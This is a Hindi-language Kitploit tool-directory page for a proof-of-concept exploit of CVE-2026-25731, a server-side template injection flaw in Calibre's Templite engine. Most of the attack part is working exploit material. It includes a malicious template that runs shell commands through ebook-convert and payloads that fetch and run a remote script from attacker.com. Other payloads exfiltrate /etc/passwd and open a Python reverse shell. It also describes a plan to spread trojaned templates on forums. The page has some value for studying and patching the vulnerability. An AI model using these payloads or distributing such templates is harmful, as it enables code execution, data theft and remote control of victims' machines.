Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-25731 — कैलिबर के टेम्प्लाइट इंजन (GHSA-xrh9-w7qx-3gcc) में सर्वर-साइड टेम्प्लेट इंजेक्शन (SSTI) भेद्यता के लिए प्रूफ ऑफ कॉन्सेप्ट। प्रभावित संस्करणों (≤ 9.1.0) में उपयोगकर्ता-आपूर्ति किए गए HTML निर्यात टेम्प्लेट के माध्यम से मनमाना Python कोड निष्पादन प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/dxleryt/cve-2026-25731
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेलोड डेवलपमेंट
GitHubdxleryt/cve-2026-25731

CVE-2026-25731

कैलिबर के टेम्प्लाइट इंजन (GHSA-xrh9-w7qx-3gcc) में सर्वर-साइड टेम्प्लेट इंजेक्शन (SSTI) भेद्यता के लिए प्रूफ ऑफ कॉन्सेप्ट। प्रभावित संस्करणों (≤ 9.1.0) में उपयोगकर्ता-आपूर्ति किए गए HTML निर्यात टेम्प्लेट के माध्यम से मनमाना Python कोड निष्पादन प्रदर्शित करता है।

रिपॉजिटरी देखें
547 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Templite इंजन में सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI)

गंभीरता: उच्च (CVSS 7.8)

प्रभावित सॉफ़्टवेयर: calibre <= 9.1.0

पैच किया गया संस्करण: 9.2.0

परामर्श: GHSA-xrh9-w7qx-3gcc

सारांश

Calibre के Templite टेम्पलेटिंग इंजन में एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता, जब कोई उपयोगकर्ता --template-html या --template-html-index कमांड-लाइन विकल्पों के माध्यम से दुर्भावनापूर्ण कस्टम टेम्पलेट फ़ाइल का उपयोग करके ईबुक परिवर्तित करता है, तो मनमाना कोड निष्पादन की अनुमति देती है।

विवरण

Templite इंजन (src/templite/__init__.py) Python के compile() और eval() फ़ंक्शन का उपयोग करके टेम्पलेट्स को बिना किसी सैंडबॉक्सिंग के संकलित और मूल्यांकन करता है:

src/templite/__init__.py में भेद्य कोड:

root@kitploit:~
# पंक्ति 72: टेम्पलेट को Python कोड में संकलित किया जाता है
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# पंक्ति 90: संकलित कोड eval() के माध्यम से निष्पादित किया जाता है
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # मनमाना कोड निष्पादन

src/calibre/ebooks/conversion/plugins/html_output.py में हमला वेक्टर:

root@kitploit:~
# पंक्तियाँ 96-98: उपयोगकर्ता-आपूर्ति की गई टेम्पलेट फ़ाइल लोड की जाती है
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# पंक्ति 136: टेम्पलेट को भेद्य Templite इंजन में पारित किया जाता है
templite = Templite(template_html_index_data)

यही पैटर्न --template-html विकल्प (पंक्तियाँ 102-106, 200) के लिए भी मौजूद है।

PoC

1. एक दुर्भावनापूर्ण टेम्पलेट फ़ाइल बनाएं

निम्नलिखित को malicious_template.tmpl के रूप में सहेजें:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

2. दुर्भावनापूर्ण टेम्पलेट के साथ ईबुक रूपांतरण निष्पादित करें

root@kitploit:~
# किसी भी ईबुक को दुर्भावनापूर्ण टेम्पलेट का उपयोग करके परिवर्तित करें
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl

3. कोड निष्पादन सत्यापित करें

root@kitploit:~
cat /tmp/pwned.txt
# आउटपुट: uid=501(username) gid=20(staff) groups=...

वैकल्पिक पेलोड

root@kitploit:~
# कमांड निष्पादन
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# फ़ाइल बहिर्निष्कासन
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# रिवर्स शेल
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

स्टैंडअलोन सत्यापन

root@kitploit:~
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# कमांड निष्पादन
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render())  # वर्तमान उपयोगकर्ता नाम प्रिंट करता है

# फ़ाइल पढ़ना
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render())  # /etc/passwd की पहली पंक्ति प्रिंट करता है

प्रभाव

कौन प्रभावित है:

  • वे उपयोगकर्ता जो तृतीय-पक्ष HTML निर्यात टेम्पलेट्स डाउनलोड और उपयोग करते हैं
  • वे उपयोगकर्ता जो फ़ोरम, GitHub या अन्य स्रोतों पर साझा किए गए टेम्पलेट्स का उपयोग करते हैं
  • वे सिस्टम जो उपयोगकर्ता-आपूर्ति किए गए टेम्पलेट्स के साथ स्वचालित पाइपलाइनों में Calibre चलाते हैं

हमला परिदृश्य:

  1. हमलावर एम्बेडेड SSTI पेलोड के साथ एक वैध दिखने वाला HTML टेम्पलेट बनाता है
  2. हमलावर टेम्पलेट को Calibre फ़ोरम, Reddit या GitHub पर साझा करता है
  3. पीड़ित टेम्पलेट डाउनलोड करता है और उसका उपयोग करता है: ebook-convert book.epub out.zip --template-html=template.tmpl
  4. पीड़ित के विशेषाधिकारों के साथ मनमाना कोड निष्पादित होता है
टूल डाउनलोड करें